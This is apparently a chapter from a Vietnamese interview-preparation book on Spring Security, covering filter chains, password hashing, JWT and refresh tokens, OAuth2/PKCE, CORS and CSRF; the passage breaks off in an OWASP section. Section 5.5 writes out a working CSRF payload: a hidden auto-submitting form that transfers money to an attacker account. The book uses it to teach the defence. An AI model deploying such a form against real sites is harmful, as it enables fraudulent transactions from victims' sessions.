Chương 5. Spring Security và xác thực
Nhiều ứng viên 2–4 năm chỉ copy file cấu hình security từ dự án cũ mà không hiểu request đi qua những bước nào. Tôi thường hỏi từ luồng filter, sang JWT và thu hồi token, rồi kết thúc bằng một lỗ hổng cụ thể như IDOR. Bạn không cần là chuyên gia bảo mật, nhưng phải biết mình tắt CSRF vì lý do gì.
Người phỏng vấn muốn kiểm tra
- Phân biệt authentication và authorization, 401 và 403.
- Mô tả luồng xác thực trong Spring Security 6 và cấu hình
SecurityFilterChainkiểu mới. - Nêu được trade-off session vs JWT, cách thu hồi token, refresh token, nơi lưu token.
- Hiểu OAuth2/OIDC ở mức khái niệm và vai trò resource server.
- Nhận diện các lỗ hổng phổ biến: SQL injection, XSS, IDOR, CSRF, lộ thông tin qua lỗi.
Nhắc lại kiến thức
HTTP là stateless: server không nhớ gì giữa hai request. Cookie là dữ liệu nhỏ lưu ở trình duyệt và được trình duyệt tự động gửi kèm mọi request tới đúng domain; session là dữ liệu lưu ở server, nhận diện bằng session id (JSESSIONID) nằm trong cookie. Mã 401 và 403 thuộc nhóm 4xx (lỗi phía client). Xem N2.5.
5.1 Authentication, authorization và kiến trúc filter
Authentication trả lời "bạn là ai" (đăng nhập, xác minh token). Authorization trả lời "bạn được làm gì" (role, quyền trên tài nguyên). Chưa xác thực hoặc token sai → 401 Unauthorized; đã xác thực nhưng không đủ quyền → 403 Forbidden.
Ví dụ đời thường: vào một tòa nhà văn phòng, bạn quẹt thẻ nhân viên ở cổng, bảo vệ xác nhận bạn đúng là Nguyễn Văn An: đó là authentication. Lên tầng 5, cửa phòng server chỉ mở cho nhân viên IT, thẻ của bạn (phòng kế toán) bị từ chối: đó là authorization. Không có thẻ thì bị chặn ngay ở cổng (401); có thẻ hợp lệ nhưng không đủ quyền vào phòng thì bị chặn ở cửa phòng (403). Authentication luôn xảy ra trước, vì chưa biết bạn là ai thì không thể quyết định bạn được làm gì.
# no token at all -> authentication fails
curl -i -X DELETE https://api.shop.vn/api/orders/7
# HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Bearer
# valid token of a normal user -> authenticated, but not allowed
curl -i -X DELETE -H "Authorization: Bearer <token-of-alice>" https://api.shop.vn/api/orders/7
# HTTP/1.1 403 ForbiddenGiải thích: Request đầu không mang thông tin định danh, server không biết ai đang gọi nên trả 401 kèm header WWW-Authenticate: Bearer để nói "hãy gửi Bearer token". Request thứ hai mang token hợp lệ của alice, server biết đó là alice nhưng rule DELETE chỉ cho admin, nên trả 403. Tên "401 Unauthorized" là cách đặt tên lịch sử gây nhầm lẫn: ý nghĩa thật là "unauthenticated".
Spring Security là một chuỗi Servlet Filter. DelegatingFilterProxy đăng ký với Servlet container, chuyển request cho FilterChainProxy, rồi FilterChainProxy chọn SecurityFilterChain phù hợp với URL. Trong chain có CorsFilter, CsrfFilter, các filter xác thực, ExceptionTranslationFilter và cuối cùng AuthorizationFilter. Người dùng đã xác thực được lưu trong SecurityContextHolder, mặc định dựa trên ThreadLocal.
Nhắc lại kiến thức
Filter là class chặn request ở tầng Servlet, trước khi tới DispatcherServlet; mỗi filter làm việc của mình rồi gọi chain.doFilter(...) để chuyển request cho filter kế tiếp, hoặc không gọi để chặn request lại (xem mục 4.6). ThreadLocal cho mỗi thread một bản giá trị riêng (xem mục 3.9).
Request đi qua filter chain như thế nào
Filter chain là danh sách các filter được xếp theo thứ tự cố định; request đi qua lần lượt từng filter như qua các trạm kiểm soát. Mỗi filter của Spring Security chỉ lo một việc. DelegatingFilterProxy là "cầu nối" vì Tomcat chỉ biết filter Servlet, không biết bean Spring. Dưới đây là các filter chính (rút gọn) mà một request DELETE /api/orders/7 có JWT đi qua trong cấu hình ở mục 5.2:
Tomcat -> DelegatingFilterProxy -> FilterChainProxy -> SecurityFilterChain "apiChain":
1. SecurityContextHolderFilter prepares an empty SecurityContext for this thread
2. HeaderWriterFilter adds security headers (X-Content-Type-Options, ...)
3. CorsFilter answers preflight OPTIONS, adds CORS headers
4. (CsrfFilter) skipped here: csrf is disabled for this chain
5. BearerTokenAuthenticationFilter reads "Authorization: Bearer ...", verifies JWT -> Authentication
6. AnonymousAuthenticationFilter no Authentication yet? put an anonymous one
7. ExceptionTranslationFilter turns security exceptions below it into 401 / 403
8. AuthorizationFilter checks requestMatchers rules: DELETE needs ROLE_ADMIN
-> DispatcherServlet -> OrderControllerGiải thích:
- Filter 1 chuẩn bị chỗ chứa thông tin người dùng cho thread đang xử lý request, và dọn nó khi request kết thúc (để thread trong pool không mang user cũ sang request sau).
- Filter 5 là nơi authentication xảy ra: token sai chữ ký hoặc hết hạn thì trả 401 ngay tại đây. Token hợp lệ thì
Authentication(chứa tên user và quyền) được đặt vàoSecurityContextHolder. - Request không có token vẫn đi tiếp; filter 6 gắn một user "ẩn danh" để các bước sau có gì đó để kiểm tra.
- Filter 8 là nơi authorization xảy ra: nó ném
AccessDeniedException, và filter 7 (đứng ngay trước nó) bắt exception đó, trả 401 nếu user là ẩn danh hoặc 403 nếu đã đăng nhập. - Muốn xem danh sách filter thật của ứng dụng, bật
logging.level.org.springframework.security=DEBUG: lúc khởi động Spring in ra toàn bộ filter theo thứ tự cho từng chain.
Luồng xác thực username/password
- Filter xác thực đọc username/password, tạo
UsernamePasswordAuthenticationTokenchưa xác thực. AuthenticationManager(thường làProviderManager) duyệt danh sáchAuthenticationProvider.DaoAuthenticationProvidergọiUserDetailsService.loadUserByUsername()lấy user từ DB.PasswordEncoder.matches()so mật khẩu thô với hash đã lưu.- Thành công: tạo
Authenticationđã xác thực kèm authorities, đặt vàoSecurityContext.
Thuật ngữ trong luồng trên: principal là "người đang đăng nhập" (thường là username); authority là một quyền dạng chuỗi, ví dụ ROLE_ADMIN hay order:write; UserDetailsService là interface bạn implement để Spring biết cách tải user từ DB của bạn:
@Service
public class DbUserDetailsService implements UserDetailsService {
private final AppUserRepository users;
public DbUserDetailsService(AppUserRepository users) { this.users = users; }
@Override
public UserDetails loadUserByUsername(String username) {
AppUser u = users.findByUsername(username)
.orElseThrow(() -> new UsernameNotFoundException(username));
return User.withUsername(u.getUsername())
.password(u.getPasswordHash()) // the stored hash, never the plain password
.roles(u.getRole()) // "ADMIN" becomes authority ROLE_ADMIN
.build();
}
}Giải thích: Khi alice đăng nhập, DaoAuthenticationProvider gọi loadUserByUsername("alice"), nhận về UserDetails chứa hash mật khẩu đã lưu, rồi gọi passwordEncoder.matches(matKhauAliceVuaGo, hash). Khớp thì tạo Authentication có authority ROLE_USER hoặc ROLE_ADMIN. Không tìm thấy user hay sai mật khẩu, Spring đều trả cùng một lỗi BadCredentialsException để kẻ tấn công không dò được username nào tồn tại.
PasswordEncoder: dùng BCryptPasswordEncoder (hoặc Argon2, SCrypt), không bao giờ dùng MD5/SHA-256 trần. BCrypt tự sinh salt cho mỗi mật khẩu và có tham số cost (mặc định 10) để cố tình làm chậm, chống brute force khi DB bị lộ. PasswordEncoderFactories.createDelegatingPasswordEncoder() lưu hash dạng {bcrypt}..., giúp chuyển thuật toán sau này mà không bắt user đổi mật khẩu.
Vì sao phải hash mật khẩu, và salt là gì
Hash là hàm biến một chuỗi bất kỳ thành một chuỗi "vân tay" độ dài cố định, và không đảo ngược được: biết hash không tính ngược ra mật khẩu. Khi đăng nhập, server hash mật khẩu vừa nhập rồi so với hash đã lưu. Vì sao không lưu mật khẩu thô (plain text): DB bị lộ (backup rơi ra ngoài, SQL injection, nhân viên tò mò) thì kẻ tấn công có ngay mật khẩu của mọi người, và vì người dùng hay dùng lại mật khẩu, họ đăng nhập được cả email, ngân hàng của nạn nhân.
Hash thôi chưa đủ. Salt là một chuỗi ngẫu nhiên riêng cho từng user, được ghép vào mật khẩu trước khi hash và lưu cùng hash (salt không cần bí mật). Đoạn code Java thuần dưới đây cho thấy vì sao cần salt:
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.HexFormat;
public class SaltDemo {
static String sha256(String s) throws Exception {
byte[] d = MessageDigest.getInstance("SHA-256").digest(s.getBytes(StandardCharsets.UTF_8));
return HexFormat.of().formatHex(d);
}
public static void main(String[] args) throws Exception {
String alice = sha256("123456"); // two users picked the same weak password
String bob = sha256("123456");
System.out.println(alice.equals(bob)); // prints: true
System.out.println(alice.substring(0, 16)); // prints: 8d969eef6ecad3c2
String aliceSalted = sha256("x9Q2" + "123456"); // per-user random salt (fixed here for the demo)
String bobSalted = sha256("Lm7c" + "123456");
System.out.println(aliceSalted.equals(bobSalted)); // prints: false
}
}Giải thích:
- Không có salt, alice và bob có cùng hash, nên nhìn DB là biết hai người dùng chung mật khẩu. Tệ hơn,
8d969eef...là hash SHA-256 của123456, có sẵn trong mọi bảng tra sẵn (rainbow table) trên mạng: kẻ tấn công chỉ việc tra ngược, không cần tính gì. - Có salt, cùng mật khẩu cho ra hai hash khác nhau, bảng tra sẵn vô dụng, và kẻ tấn công phải thử riêng cho từng user.
- Salt vẫn chưa đủ với SHA-256, vì SHA-256 được thiết kế để nhanh: một GPU thử được hàng tỷ mật khẩu mỗi giây. BCrypt giải quyết cả hai: tự sinh salt ngẫu nhiên và cố tình chậm theo tham số cost.
Một hash BCrypt lưu trong DB trông như sau, mọi thứ cần để kiểm tra nằm ngay trong chuỗi:
$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
2a -> BCrypt algorithm version
10 -> cost: 2^10 = 1024 rounds
N9qo8uLOickgx2ZMRZoMye -> salt (22 chars, random per password)
IjZAgcfl7p92ldGxad68LJZdL17lhWy -> hash (31 chars)Giải thích: Khi alice đăng nhập, BCryptPasswordEncoder.matches() đọc version, cost và salt từ chuỗi đã lưu, hash lại mật khẩu vừa nhập với đúng salt và cost đó, rồi so kết quả. Vì vậy bạn không cần cột salt riêng. Tăng cost thêm 1 làm thời gian hash tăng gấp đôi: cost 10 mất khoảng vài chục mili giây trên server, người dùng không cảm nhận được, nhưng kẻ tấn công thử hàng tỷ mật khẩu thì chậm đi hàng triệu lần so với SHA-256. Gọi encode("123456") hai lần cho hai chuỗi khác nhau vì salt khác nhau, nên không được so hash bằng equals, luôn dùng matches().
5.2 Cấu hình SecurityFilterChain (Spring Security 6)
WebSecurityConfigurerAdapter đã deprecated từ 5.7 và bị xóa ở Spring Security 6. Cách mới là khai báo bean SecurityFilterChain, dùng lambda DSL; antMatchers/mvcMatchers được thay bằng requestMatchers, authorizeRequests thay bằng authorizeHttpRequests. Kiểu nối chuỗi bằng .and() đã deprecated từ 6.1 và bị loại bỏ ở Spring Security 7.
Đoạn cấu hình dưới đây là một chain điển hình cho REST API nhận JWT do authorization server cấp: không dùng session, tắt CSRF, mở công khai vài endpoint, và chỉ admin mới được gọi DELETE.
@Configuration
@EnableWebSecurity
@EnableMethodSecurity // enables @PreAuthorize (see below)
public class SecurityConfig {
@Bean
SecurityFilterChain apiChain(HttpSecurity http) throws Exception {
http
.csrf(AbstractHttpConfigurer::disable) // stateless API, token travels in a header
.cors(Customizer.withDefaults()) // uses the CorsConfigurationSource bean (see 5.5)
.sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS)) // never create an HttpSession
.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/auth/**", "/actuator/health/**").permitAll() // specific rules first
.requestMatchers(HttpMethod.DELETE, "/api/**").hasRole("ADMIN") // requires authority ROLE_ADMIN
.anyRequest().authenticated()) // everything else: any authenticated user, always last
.oauth2ResourceServer(o -> o.jwt(Customizer.withDefaults())); // authenticate via the Authorization: Bearer <JWT> header
return http.build();
}
@Bean
PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(); // used to hash and to verify user passwords
}
}Giải thích: Khi request DELETE /api/orders/7 tới, BearerTokenAuthenticationFilter đọc header Authorization: Bearer ..., JwtDecoder kiểm tra chữ ký và hạn của token (khóa công khai lấy theo cấu hình issuer-uri), tạo Authentication rồi đặt vào SecurityContextHolder. Tiếp theo AuthorizationFilter duyệt các rule từ trên xuống: /api/auth/** không khớp, rule DELETE khớp nên yêu cầu ROLE_ADMIN. Kết quả: không gửi token hoặc token sai → 401; token hợp lệ nhưng không có quyền admin → 403; đủ quyền thì request mới tới controller. Vì chính sách là STATELESS, server không lưu gì giữa các request, nên mỗi request đều phải gửi lại token.
Lưu ý: thứ tự requestMatchers có ý nghĩa, rule đầu tiên khớp sẽ được áp dụng, nên rule cụ thể đặt trước, anyRequest() luôn cuối. hasRole("ADMIN") kiểm tra authority ROLE_ADMIN; với JWT resource server, converter mặc định map claim scope thành SCOPE_xxx, nên muốn dùng role từ token bạn phải cấu hình JwtAuthenticationConverter.
Đoạn code dưới đây cấu hình converter đọc claim roles của token thay cho claim scope mặc định:
@Bean
JwtAuthenticationConverter jwtAuthenticationConverter() {
JwtGrantedAuthoritiesConverter roles = new JwtGrantedAuthoritiesConverter();
roles.setAuthoritiesClaimName("roles"); // read "roles": ["ADMIN"] instead of "scope"
roles.setAuthorityPrefix("ROLE_"); // "ADMIN" -> ROLE_ADMIN, so hasRole("ADMIN") matches
JwtAuthenticationConverter converter = new JwtAuthenticationConverter();
converter.setJwtGrantedAuthoritiesConverter(roles);
return converter;
}Giải thích: Token của admin có payload {"sub":"bob","roles":["ADMIN"]}. Không có bean này, Spring chỉ đọc claim scope, bob không có authority ROLE_ADMIN nào và mọi request DELETE của bob bị 403 dù token "rõ ràng là admin". Có bean này, roles được đọc và thêm tiền tố ROLE_, nên hasRole("ADMIN") khớp. Khai báo bean này trong cùng class SecurityConfig là đủ, Spring Boot tự dùng nó cho resource server.
Method security
@EnableMethodSecurity (thay cho @EnableGlobalMethodSecurity cũ) bật @PreAuthorize mặc định. Rule theo URL không đủ khi quyền phụ thuộc vào dữ liệu, ví dụ: admin xem được hồ sơ của mọi người, còn user thường chỉ xem được hồ sơ của chính mình. Khi đó bạn đặt rule ngay trên method của service:
// #userId: the method argument; authentication.name: the logged-in user name
@PreAuthorize("hasRole('ADMIN') or #userId == authentication.name")
public UserProfile getProfile(String userId) { /* ... */ }Nhắc lại kiến thức
Proxy là object đứng thay bean thật, chặn lời gọi từ bên ngoài để làm thêm việc trước khi chuyển tiếp; lời gọi nội bộ qua this không đi qua proxy (xem mục 4.4 và self-invocation ở mục 4.5).
Giải thích: Spring bọc bean chứa method này bằng proxy. Trước khi thân method chạy, proxy đánh giá biểu thức SpEL: hasRole('ADMIN') kiểm tra authority ROLE_ADMIN trong Authentication hiện tại; #userId là giá trị tham số được truyền vào; authentication.name là tên principal (với JWT mặc định là claim sub). User alice gọi getProfile("alice") thì được đi tiếp; gọi getProfile("bob") thì proxy ném AccessDeniedException và method không hề chạy, ExceptionTranslationFilter chuyển thành 403. Để SpEL đọc được tên tham số #userId, code phải được biên dịch với cờ -parameters (Spring Boot plugin cho Maven/Gradle bật sẵn). Method security chạy bằng AOP proxy, nên cũng dính self-invocation như @Transactional: gọi nội bộ qua this thì không kiểm tra quyền.
5.3 Session vs JWT
Nhắc lại kiến thức
Với session, server giữ dữ liệu đăng nhập và trình duyệt chỉ giữ session id trong cookie JSESSIONID, được gửi tự động ở mọi request (xem N2.5).
JWT (JSON Web Token) là một chuỗi do server (hoặc authorization server) ký, chứa sẵn thông tin về người dùng. So sánh đời thường: session giống vé gửi xe chỉ có số thứ tự, bảo vệ phải tra sổ để biết xe nào; JWT giống thẻ nhân viên in sẵn tên, phòng ban, ngày hết hạn và có dấu mộc, bảo vệ nhìn dấu mộc là tin, không cần tra sổ. Cái giá: thẻ đã phát thì khó thu hồi trước ngày hết hạn.
| Tiêu chí | Session (stateful) | JWT (stateless) |
|---|---|---|
| Trạng thái | Server lưu session, client giữ session id trong cookie | Token tự chứa claim, server chỉ verify chữ ký |
| Scale ngang | Cần sticky session hoặc session store chung (Redis) | Node nào cũng verify được |
| Thu hồi | Xóa session là xong | Khó, token hợp lệ đến khi hết hạn |
| Rủi ro chính | CSRF (cookie tự gửi) | XSS nếu lưu trong localStorage, token bị lộ |
Bảng dưới đối chiếu hai cách qua các tình huống cụ thể mà bạn sẽ gặp trong dự án:
| Tình huống | Session | JWT |
|---|---|---|
| User bấm Đăng xuất | Xóa session ở server, xong | Xóa token ở client; token cũ vẫn dùng được tới exp nếu bị lộ |
| Admin khóa tài khoản | Xóa mọi session của user | Cần denylist hoặc chờ access token hết hạn |
| Chạy 5 instance sau load balancer | Cần Redis session store hoặc sticky session | Không cần gì thêm |
| Mobile app, service khác gọi API | Cookie bất tiện ngoài trình duyệt | Header Authorization dùng được ở mọi nơi |
JWT gồm header, payload, signature, mã hóa base64url chứ không phải mã hóa bí mật: ai cũng đọc được payload, nên không đặt thông tin nhạy cảm vào đó. Server phải kiểm tra chữ ký, exp, iss, aud, và cố định thuật toán chấp nhận (chặn kiểu tấn công alg: none). Với nhiều service, ký bằng khóa bất đối xứng (RS256/ES256) để service chỉ cần public key qua JWKS.
Cấu trúc JWT qua một ví dụ
Một JWT là ba chuỗi nối bằng dấu chấm: header.payload.signature. Base64url là cách viết dữ liệu nhị phân bằng chữ cái, số, - và _ để đặt được vào URL và header; đây là mã hóa hiển thị, không có khóa, ai cũng giải ngược được. Đoạn Java thuần dưới đây giải mã một token mẫu:
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class JwtDecodeDemo {
public static void main(String[] args) {
String token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleS0yMDI1In0"
+ ".eyJzdWIiOiJhbGljZSIsInJvbGVzIjpbIlVTRVIiXSwiaXNzIjoiaHR0cHM6Ly9hdXRoLnNob3Audm4iLCJleHAiOjE3NjcyMjU2MDB9"
+ ".c2lnbmF0dXJl"; // fake signature, for the demo only
String[] parts = token.split("\\.");
Base64.Decoder dec = Base64.getUrlDecoder(); // no key needed: base64url is not encryption
System.out.println(parts.length); // prints: 3
System.out.println(new String(dec.decode(parts[0]), StandardCharsets.UTF_8));
// prints: {"alg":"RS256","typ":"JWT","kid":"key-2025"}
System.out.println(new String(dec.decode(parts[1]), StandardCharsets.UTF_8));
// prints: {"sub":"alice","roles":["USER"],"iss":"https://auth.shop.vn","exp":1767225600}
}
}Giải thích: Chương trình in 3 rồi hai chuỗi JSON, không cần khóa bí mật nào: bất kỳ ai cầm token (kể cả mở devtools trình duyệt) đều đọc được payload, vì vậy không bao giờ đặt mật khẩu, số CMND hay dữ liệu nhạy cảm vào đó. Ý nghĩa từng phần:
- Header:
alglà thuật toán ký (RS256 = RSA + SHA-256),kidcho biết khóa nào đã ký, để server chọn đúng public key trong JWKS. - Payload (các claim):
sublà chủ thể (user id),roleslà claim tự định nghĩa,isslà ai phát hành,explà thời điểm hết hạn tính bằng giây từ 1970 (1767225600là 00:00 UTC ngày 1/1/2026). - Signature: chữ ký tính trên
header.payloadbằng private key của authorization server. Đổi một ký tự trong payload (ví dụUSERthànhADMIN) thì chữ ký không còn khớp vàJwtDecodertừ chối token với 401. Chữ ký bảo đảm không bị sửa, không bảo đảm bí mật.
Thu hồi token và refresh token: access token sống ngắn (5–15 phút). Refresh token sống dài hơn, lưu phía server (DB/Redis, lưu dạng hash) để thu hồi được, và xoay vòng (mỗi lần refresh cấp refresh token mới, token cũ vô hiệu; phát hiện token cũ bị dùng lại thì thu hồi cả chuỗi). Cần thu hồi access token ngay (đổi mật khẩu, khóa tài khoản) thì dùng denylist theo jti trong Redis với TTL bằng thời gian sống còn lại, hoặc lưu tokenVersion của user và so khi verify. Lúc đó bạn đã chấp nhận một phần stateful, và nên nói rõ trade-off này.
Lưu token ở đâu (SPA): localStorage tiện nhưng bất kỳ XSS nào cũng đọc được. Phương án phổ biến và an toàn hơn: access token giữ trong bộ nhớ JS, refresh token trong cookie HttpOnly; Secure; SameSite=Strict (hoặc Lax). Khi token đi bằng cookie, bạn lại phải lo CSRF.
Luồng refresh token xoay vòng, từng bước:
- Đăng nhập thành công: server trả access token (sống 10 phút) và refresh token R1 (sống 14 ngày); DB lưu
hash(R1)kèm user id và trạng thái "đang dùng". - Mọi request API gửi access token trong header
Authorization. - Phút thứ 11, API trả 401 vì access token hết hạn. Client gọi
POST /auth/refreshkèm R1. - Server tìm
hash(R1)trong DB, thấy còn hợp lệ: đánh dấu R1 là "đã dùng", cấp access token mới và refresh token R2, lưuhash(R2). - Nếu sau đó có ai gửi lại R1 (kẻ trộm token cũ, hoặc chính client bị lỗi), server thấy R1 "đã dùng": coi như token bị đánh cắp, thu hồi toàn bộ chuỗi refresh token của user, buộc đăng nhập lại.
- Đăng xuất: xóa refresh token hiện tại trong DB; access token còn lại tự hết hạn sau tối đa 10 phút.
5.4 OAuth2 và OIDC ở mức khái niệm
OAuth2 là giao thức ủy quyền: cho ứng dụng (client) truy cập tài nguyên thay mặt user mà không cần biết mật khẩu. Vai trò: resource owner (user), client (ứng dụng của bạn), authorization server (Keycloak, Auth0, Google...), resource server (API của bạn). OIDC là lớp định danh xây trên OAuth2, thêm ID token (JWT mô tả user đã đăng nhập) và endpoint userinfo. Muốn "đăng nhập bằng Google" là bạn đang dùng OIDC.
Luồng khuyến nghị cho web và mobile là Authorization Code + PKCE: client sinh code_verifier ngẫu nhiên, gửi code_challenge (hash) khi chuyển hướng user tới authorization server, nhận authorization code qua redirect, rồi đổi code kèm code_verifier lấy token. Kẻ chặn được code cũng không đổi được token. Implicit flow và Password grant đã bị khuyến cáo bỏ (OAuth 2.1 loại chúng). Service-to-service dùng Client Credentials.
So sánh đời thường: OAuth2 giống chìa khóa phụ bạn đưa cho nhân viên đỗ xe ở nhà hàng. Chìa khóa đó chỉ mở cửa và nổ máy, không mở cốp, và bạn không phải đưa chìa khóa nhà. Ứng dụng của bạn (nhân viên đỗ xe) nhận một access token với quyền hạn giới hạn (scope), không bao giờ biết mật khẩu Google của người dùng.
Luồng Authorization Code + PKCE từng bước
Tình huống: người dùng bấm "Đăng nhập bằng Google" trên shop.vn. PKCE (Proof Key for Code Exchange) là cơ chế chứng minh "người đổi code lấy token chính là người đã yêu cầu code".
- Ứng dụng sinh chuỗi ngẫu nhiên
code_verifiervà tínhcode_challenge = BASE64URL(SHA256(code_verifier)), giữcode_verifierbí mật. Nó cũng sinhstatengẫu nhiên để chống giả mạo redirect. - Trình duyệt được chuyển hướng tới authorization server:
GET https://accounts.google.com/o/oauth2/v2/auth
?response_type=code
&client_id=shop-web
&redirect_uri=https://shop.vn/login/oauth2/code/google
&scope=openid%20email%20profile
&state=af0ifjsldkj
&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
&code_challenge_method=S256- Người dùng đăng nhập tại trang của Google (shop.vn không thấy mật khẩu) và đồng ý chia sẻ email, hồ sơ.
- Google chuyển hướng trình duyệt về
https://shop.vn/login/oauth2/code/google?code=SplxlOBeZQQYbYS6WxSbIA&state=af0ifjsldkj. Ứng dụng kiểm trastatetrùng với giá trị đã sinh ở bước 1. - Backend của shop.vn gọi thẳng (server-to-server) endpoint token của Google, gửi
code,code_verifiervà client secret (nếu là confidential client). Google tính lại hash củacode_verifier, so vớicode_challengeở bước 2. - Khớp thì Google trả về JSON gồm
access_token,id_token(JWT mô tả người dùng, vì có scopeopenid) và có thểrefresh_token. - Ứng dụng đọc
id_tokenđể biết người dùng là ai (OIDC), dùngaccess_tokenđể gọi API của Google nếu cần.
Giải thích: Code ở bước 4 đi qua trình duyệt, có thể bị lộ (lịch sử trình duyệt, log proxy, app độc trên điện thoại). Nhờ PKCE, kẻ chặn được code vẫn không có code_verifier nên bước 5 thất bại. Token chỉ đi ở kênh server-to-server hoặc được trả trực tiếp cho client đã khởi tạo luồng, không nằm trên URL. Trong Spring Boot, phía "đăng nhập bằng Google" dùng spring-boot-starter-oauth2-client (Spring làm hết 7 bước), còn API của bạn chỉ cần là resource server:
spring:
security:
oauth2:
resourceserver:
jwt:
issuer-uri: https://auth.shop.vn/realms/shop # Spring reads <issuer>/.well-known/openid-configuration to find the JWKS keysGiải thích: Lúc khởi động (hoặc lần đầu cần), Spring gọi địa chỉ discovery của issuer, lấy đường dẫn JWKS, tải public key và dùng chúng để kiểm tra chữ ký mọi JWT gửi tới; nó cũng kiểm tra claim iss phải đúng bằng issuer-uri và exp chưa qua.
Trong Spring Boot, API của bạn thường chỉ là resource server: thêm spring-boot-starter-oauth2-resource-server, cấu hình spring.security.oauth2.resourceserver.jwt.issuer-uri, Spring tự lấy JWKS để verify token.
5.5 CORS và CSRF
CORS là cơ chế của trình duyệt: mặc định chặn JavaScript đọc response từ origin khác. Server trả header Access-Control-Allow-Origin để cho phép; request "không đơn giản" (có Authorization, Content-Type: application/json) sẽ có preflight OPTIONS. CORS không phải cơ chế bảo mật cho server: Postman hay curl không bị CORS chặn. Cấu hình bằng http.cors(...) cùng bean CorsConfigurationSource, liệt kê origin cụ thể; allowedOrigins("*") không được đi kèm allowCredentials(true).
Origin là bộ ba giao thức + domain + cổng của trang web, ví dụ https://shop.vn và https://admin.shop.vn là hai origin khác nhau. Same-origin policy là quy tắc mặc định của trình duyệt: JavaScript của trang thuộc origin A không được đọc response từ origin B. CORS là cách để server B nói "tôi cho phép origin A đọc".
Kịch bản từng bước: frontend React chạy ở https://shop.vn, gọi API ở https://api.shop.vn bằng fetch với header Authorization và body JSON.
- Vì request có header
AuthorizationvàContent-Type: application/json, trình duyệt chưa gửi request thật mà gửi trước một preflightOPTIONSđể hỏi quyền. - Server trả lời các header cho phép (xem dưới). Nếu thiếu header hoặc origin không khớp, trình duyệt dừng lại và console báo "has been blocked by CORS policy"; request thật không được gửi.
- Preflight hợp lệ thì trình duyệt gửi request
POSTthật, và cho JavaScript đọc response nếu response cóAccess-Control-Allow-Originkhớp.
OPTIONS /api/orders HTTP/1.1
Origin: https://shop.vn
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization, content-type
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://shop.vn
Access-Control-Allow-Methods: GET,POST,PUT,DELETE
Access-Control-Allow-Headers: authorization, content-type
Access-Control-Max-Age: 3600@Configuration
public class CorsConfig {
@Bean
CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration cfg = new CorsConfiguration();
cfg.setAllowedOrigins(List.of("https://shop.vn")); // exact origins, never "*" with credentials
cfg.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
cfg.setAllowedHeaders(List.of("Authorization", "Content-Type"));
cfg.setMaxAge(3600L); // browser caches the preflight for 1 hour
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", cfg);
return source;
}
}Giải thích: http.cors(Customizer.withDefaults()) ở mục 5.2 tìm bean CorsConfigurationSource này và đặt CorsFilter vào filter chain trước các filter xác thực, vì preflight OPTIONS không mang token; nếu CORS đứng sau xác thực, preflight bị 401 và trình duyệt báo lỗi CORS dù cấu hình đúng. Cấu hình CORS ở Spring MVC (WebMvcConfigurer.addCorsMappings) mà quên http.cors(...) là lỗi hay gặp vì lý do này. Khi curl gọi thẳng API, không có trình duyệt nên không có preflight và không có gì chặn: CORS chỉ bảo vệ người dùng trình duyệt, không bảo vệ server.
CSRF là tấn công lợi dụng việc trình duyệt tự động gửi cookie: trang độc hại khiến trình duyệt của nạn nhân gửi request POST tới hệ thống của bạn kèm session cookie hợp lệ. Bạn chỉ được phép tắt CSRF khi API stateless và credential nằm trong header Authorization (trình duyệt không tự gắn). Phải bật CSRF (hoặc ít nhất SameSite cộng CSRF token) khi xác thực dựa vào cookie, kể cả khi đặt JWT trong cookie.
Nhắc lại kiến thức
Trình duyệt tự gắn cookie của một domain vào mọi request tới domain đó, bất kể request được khởi phát từ trang nào (xem N2.5). CSRF khai thác đúng hành vi này.
Kịch bản tấn công CSRF từng bước (CSRF = Cross-Site Request Forgery, giả mạo request từ trang khác):
- An đăng nhập
https://bank.vn, trình duyệt giữ cookieSESSION=abc123của bank.vn. - Chưa đăng xuất, An mở tab khác xem trang
https://khuyen-mai-hot.xyzcủa kẻ tấn công. - Trang đó chứa một form ẩn tự submit bằng JavaScript tới bank.vn:
<form action="https://bank.vn/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="50000000">
</form>
<script>document.forms[0].submit()</script>- Trình duyệt gửi
POST https://bank.vn/transfervà tự động gắn cookieSESSION=abc123, vì request đi tới bank.vn. - Server bank.vn thấy session hợp lệ của An và chuyển tiền. Kẻ tấn công không cần đọc response, không cần biết cookie; CORS không chặn được vì form submit không phải request mà JavaScript cần đọc kết quả.
Cách chặn:
- CSRF token: server đặt vào mỗi form một chuỗi ngẫu nhiên gắn với session; request POST phải gửi lại đúng chuỗi đó. Trang của kẻ tấn công không đọc được token (same-origin policy), nên request giả bị
CsrfFiltertừ chối với 403. Spring Security bật cơ chế này mặc định. - Cookie
SameSite=LaxhoặcStrict: trình duyệt không gửi cookie trong request POST khởi phát từ site khác, nên bước 4 không mang cookie. Đây là lớp phòng thủ thứ hai, không thay hẳn CSRF token (subdomain cùng site vẫn gửi được, trình duyệt cũ không hỗ trợ). - Token trong header
Authorization: trình duyệt không tự gắn header này, trang lạ không biết token, nên kiểu tấn công trên không có tác dụng. Đó là lý do API stateless được tắt CSRF.
5.6 Lỗ hổng hay bị hỏi (OWASP)
OWASP (Open Worldwide Application Security Project) là tổ chức phi lợi nhuận công bố danh sách "OWASP Top 10" các loại lỗ hổng web phổ biến nhất; người phỏng vấn dùng danh sách này làm khung câu hỏi. Tóm tắt từng lỗ hổng trước, sau đó là cặp code sai và sửa cho từng cái.
- SQL injection: nối chuỗi vào native query hoặc JPQL. Dùng tham số (
:param,?). Tên cột trongORDER BYkhông tham số hóa được, phải whitelist. - XSS: dữ liệu user được render ra HTML mà không escape. Phòng: encode output theo ngữ cảnh, Content-Security-Policy, cookie
